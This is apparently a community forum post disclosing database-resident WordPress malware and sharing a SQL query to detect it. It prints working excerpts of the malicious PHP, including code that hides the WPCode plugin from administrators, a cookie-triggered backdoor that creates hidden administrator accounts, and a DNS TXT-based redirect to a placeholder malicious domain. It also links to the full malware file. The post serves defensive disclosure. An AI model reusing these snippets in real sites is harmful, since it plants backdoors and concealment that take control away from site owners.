New Malware Found in WordPress Installations: Hidden Admin Users, Redirects, and

Hey everyone,

I’ve come across a new type of malware that has infected several of our WordPress installations, and what’s concerning is that none of the security scanners we used, including Wordfence, GOTMLS.NET, and about 12 others, were able to detect it. We tried all major tools, but none flagged this threat. It’s well hidden in the database, specifically in entries such as wpcode_snippets, siteurl, home, and redirection_options, and it uses advanced techniques to hide from both admins and security plugins.
The site was compromised because it had a weak password, not due to any security vulnerabilities in plugins.

Here are some of the scanners we used that failed to detect the malware:

• Wordfence
• GOTMLS.NET
• Sucuri SiteCheck
• MalCare
• iThemes Security
• All In One WP Security & Firewall
• WPScan
• Anti-Malware Security (by Eli/GOTMLS.NET)
• SecuPress
• Quttera Web Malware Scanner
• Exploit Scanner
• WPCore Scan
• WP Cerber Security
• ClamAV

Despite using this wide range of scanners, none were able to identify the malicious code injected into the database. I’m sharing this here to alert the community and to see if anyone has encountered a similar issue or has insights on how to combat it.Admin Panel Hijacking:

• The malware modifies the admin interface by hiding specific security-related plugins (like “Code Snippets”) and preventing the admin from reviewing compromised plugins and critical notifications.
• Here’s a?code snippet?used to hide plugins:

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {

add_action('admin_print_scripts', function () {

echo '<style>';

echo '#toplevel_page_wpcode { display: none; }';

echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';

echo '#wpcode-notice-global-review_request { display: none; }';

echo '</style>';

});

add_filter('all_plugins', function ($plugins) {

unset($plugins['insert-headers-and-footers/ihaf.php']);

return $plugins;

});

}

Creation of Hidden Admin Users:

• The malware reads cookie data to insert admin credentials into the database and creates hidden admin users, unknown to the actual site owner.
• Here's an example of the code that creates hidden admin users:

if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

switch (_gcookie('c')) {

case 'au':

$u = _gcookie('u');

$p = _gcookie('p');

$e = _gcookie('e');

if ($u && $p && $e && !username_exists($u)) {

$user_id = wp_create_user($u, $p, $e);

$user = new WP_User($user_id);

$user->set_role('administrator');

}

break;

}

}

Redirection of Non-Logged-In Users:

• Non-logged-in users or visitors with certain IP addresses are redirected to malicious external URLs using DNS records.
• Here’s the?redirect code

function _red() {

if (is_user_logged_in()) {

return;

}

$ip = _user_ip();

if (!$ip) {

return;

}

$req = 'malicious-domain.com'; // Example of malicious domain being resolved

$s = dns_get_record($req, DNS_TXT);

if (is_array($s) && !empty($s)) {

$redirect_url = base64_decode($s[0]['txt']);

if (substr($redirect_url, 0, 4) === 'http') {

wp_redirect($redirect_url);

exit;

}

}

}

IP and Session Tracking:

• The malware tracks IP addresses to avoid redirecting the same IP multiple times in a 24-hour period.

How We Found It:

The malware was hidden in the wp_options table, affecting entries like wpcode_snippets, siteurl, home, and redirection_options. It wasn’t detected by popular security plugins, including Wordfence.

We ran the following SQL query across all installations to identify suspicious patterns:

SELECT option_name, option_value

FROM wp_options

WHERE option_name IN ('siteurl', 'home', 'wpcode_snippets', 'wpseo', 'redirection_options')

AND (option_value LIKE '%<script%'

OR option_value LIKE '%eval%'

OR option_value LIKE '%base64_decode%'

OR option_value LIKE '%document.write%');Observed Effects:

• Non-logged-in users or visitors from unknown IPs are redirected to malicious sites.
• Hidden admin users are created without the site owner’s knowledge.
• Security plugins and important notifications are hidden from the admin panel.

What You Should Know:

• This malware injects itself into database options like?wpcode_snippets?and?siteurl, making it hard to detect via traditional scans.
• The existing WordPress security plugins (including Wordfence)?did not detect?this malware.

What Can Be Done:

If you manage WordPress sites, I highly recommend checking your wp_options table for any suspicious values using the SQL query above. If anyone from the WordPress security community or plugin developers has encountered similar issues, I would love to collaborate on identifying how this malware propagates and how we can stop it.

Feel free to reach out if you need more details or want to review the code in depth. I’ve attached the full script of the malicious code I found on injected as value the DB under a wpcode_snippets inside the wp_option table.

Be aware, the code contained in the file below is a malware, please do not install or copy this code in your eviroment for any reason.

https://file.io/RxJXp8clljh5

Stay safe, and thanks for your attention!